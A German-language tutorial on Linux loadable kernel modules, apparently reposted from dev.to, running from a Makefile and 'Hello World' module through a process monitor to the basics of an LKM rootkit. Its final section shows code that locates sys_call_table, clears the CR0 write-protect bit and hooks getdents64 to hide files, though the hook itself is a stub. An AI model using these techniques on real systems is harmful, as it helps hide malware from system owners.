首頁 > 後端開發 > C++ > 主體

LKM Addict,學習 lkm 的基礎知識

Mary-Kate Olsen
發布: 2024-10-09 06:09:29
原創
601 人瀏覽過

Hey Leute! Heute werde ich Sie durch LKMs (Loadable Kernel Modules) führen – von einem einfachen „Hello World“-Modul bis hin zur Erstellung eines LKM-Rootkits. Wenn Sie dies hilfreich finden, können Sie es gerne weitergeben. Vielen Dank im Voraus an alle, die bis zum Ende gelesen haben. Den gesamten Code und die Referenzen finden Sie unten im Beitrag verlinkt. Schauen Sie sich also unbedingt die Quellen an. Vertrauen Sie mir, wenn Sie sich damit befassen und den Code ändern, werden Sie wirklich mehr erfahren. Aber Vorsicht: Ein Teil des Codes steht unter der GPL 3-Lizenz, also stellen Sie sicher, dass Sie die Bedingungen kennen.

Was Sie brauchen:

linux-headers-generic
Ein C-Compiler (ich empfehle GCC oder cc)

Inhaltsverzeichnis:

  • 1) Was ist LKM und wie funktioniert es?
  • 2) Beispiel-LKM-Makefile
  • 3) Wie Module in den Kernel geladen werden
  • 4) LKM „Hallo Welt“
  • 5) Wichtige Veränderungen im Laufe der Jahre
  • 6) Syscall-Tabellenänderungen in Kernel 5.7
  • 7) LKM zur Prozessüberwachung
  • 8) Erstellen eines LKM-Rootkits

1) Was ist LKM und wie funktioniert es:

LKMs sind ladbare Kernelmodule, die dem Linux-Kernel dabei helfen, seine Funktionalität zu erweitern – etwa das Hinzufügen von Treibern für Hardware, ohne dass der gesamte Kernel neu kompiliert werden muss. Sie eignen sich perfekt für Gerätetreiber (wie Soundkarten), Dateisysteme usw. Jedes LKM benötigt mindestens diese beiden Grundfunktionen:

static int __init module_init(void)
{
    return 0;
}

static void __exit module_exit(void)
{
}
登入後複製

2) Beispiel für ein LKM-Makefile:

Hier ist ein supereinfaches Makefile zum Kompilieren Ihres Moduls:

obj-m := example.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
 $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
 $(MAKE) -C $(KDIR) M=$(PWD) clean
登入後複製

3) Wie Module in den Kernel geladen werden:

Sie können die in den Kernel geladenen Module mit dem Befehl lsmod sehen. Es überprüft die Informationen in /proc/modules. Module identifizieren den Kernel normalerweise durch Aliase wie diesen:

alias char-major-10–30 softdog

Dadurch wird modprobe mitgeteilt, dass das Modul softdog.o geladen werden soll, und es prüft /lib/modules/version/modules.dep auf Abhängigkeiten, die durch die Ausführung von depmod -a erstellt wurden.

4) LKM „Hallo Welt“:

So erstellen Sie ein supereinfaches „Hello World“-Modul:

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/init.h>   

static int __init hello_init(void)
{
    printk(KERN_INFO "<1>Hello World\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO"<1> Bye bye!");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_AUTHOR("BrunoCiccarino");
MODULE_LICENSE("GPL");
登入後複製

5) Wichtige Veränderungen im LKM im Laufe der Jahre:

Es gab im Laufe der Zeit einige ziemlich bedeutende Änderungen an LKMs, also lasst uns sie nach Linux-Kernelversion aufschlüsseln:

Kernel 2.x (bis 2.6):

Anfängliche Unterstützung für dynamisches Laden und Entladen von LKM.
Bessere Debugging-Tools (OOPS, PANIC).
Kernel 2.6.x:

Einführung von udev für eine bessere Geräteverwaltung.
Präventiver Kernel für schnellere Reaktionszeiten.
Die Native Posix Thread Library (NPTL) verbessert die Handhabung von Multithread-Prozessen.
Kernel 3.x:

Unterstützung für Namespaces, Verbesserung von Containertechnologien wie Docker.
Verbesserungen des Dateisystems und des GPU-Treibers.
Kernel 4.x:

Kernel-Sicherheit wird mit KASLR erhöht.
Bessere Containerunterstützung (Cgroups, Namespaces).
Neue Hardware-Unterstützung.
Kernel 5.x:

Bessere Dateisystemverschlüsselung und Live-Patching.
Erweiterung von BPF über reine Netzwerke hinaus.
Bessere RISC-V- und ARM-Unterstützung.
Kernel 5.7:

Wichtige Änderung: Die Syscall-Tabelle (sys_call_table) ist aus Sicherheitsgründen weniger zugänglich. Module, die die Systemaufruftabelle ändern mussten, mussten angepasst werden.
Kernel 6.x:

Rust-Sprachunterstützung für eine sicherere Kernel-Modulentwicklung.
Verbesserungen bei Sicherheit und Isolierung, mit Schwerpunkt auf Energieeffizienz für mobile Geräte.

6) Änderungen in der Syscall-Tabelle in Kernel 5.7:

In Linux 5.7 wurden Änderungen vorgenommen, um die Systemaufruftabelle zu schützen. Es ist jetzt schreibgeschützt und nicht leicht zugänglich, was ein großer Sicherheitsgewinn ist, für legitime Module, die darauf angewiesen sind, jedoch komplizierte Dinge bedeutet. Wenn Sie kprobes.h verwenden würden, um die sys_call_table zu finden, benötigen Sie eine neue Strategie. Jetzt können Sie es aufgrund von Schutzmaßnahmen wie dem Schreibschutz (WP) nicht direkt ändern.

7) LKM zur Prozessüberwachung:

Dies ist ein Modul, das Prozesse im Kernel überwacht, indem es mithilfe eines Timers regelmäßig Überprüfungen durchführt (z. B. alle 2 Sekunden). Es überwacht Dinge wie Prozesserstellung und -beendigung, Dateizugriff und Netzwerknutzung.

Hier ist ein bisschen Code, um Ihnen den Einstieg zu erleichtern:

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/cred.h>

static struct timer_list procmonitor_timer;

static void procmonitor_check_proc_tree(unsigned long unused)
{
    struct task_struct *task;
    for_each_process(task)
        printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid);

    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000));
}

static int __init procmonitor_init(void)
{
    setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0);
    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200));
    return 0;
}

static void __exit procmonitor_exit(void)
{
    del_timer_sync(&procmonitor_timer);
}

module_init(procmonitor_init);
module_exit(procmonitor_exit);
登入後複製

8) LKM-Rootkits:

Rootkits sind im Grunde bösartige Module, die Systemaufrufe kapern, um Malware zu verbergen. Hier erfahren Sie, wie sie sich in die Systemaufruftabelle einbinden und ihr Verhalten ändern.

Zuerst müssen Sie die Systemaufruftabelle finden:

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    return (unsigned long*)kallsyms_lookup_name("sys_call_table");
}
登入後複製

Dann können Sie den Schutz des Speichers aufheben, in dem sich die Systemaufruftabelle befindet:

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}
登入後複製

Danach ersetzen Sie die ursprüngliche Funktion durch Ihren Hook:

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) return -1;

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();
    return 0;
}
登入後複製

Die Hook-Funktion fängt Dateien ab und versteckt sie:

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    // Intercept the syscall here...
    return ret;
}
登入後複製

LKM Addict, learning the basics of lkm

製作人員

駭客的選擇
elinux
內核br
xcellerator
lkmpg
愛貓人士
我的rootkit
二嗎啡

以上是LKM Addict,學習 lkm 的基礎知識的詳細內容。更多資訊請關注PHP中文網其他相關文章!

來源:dev.to
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
作者最新文章
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板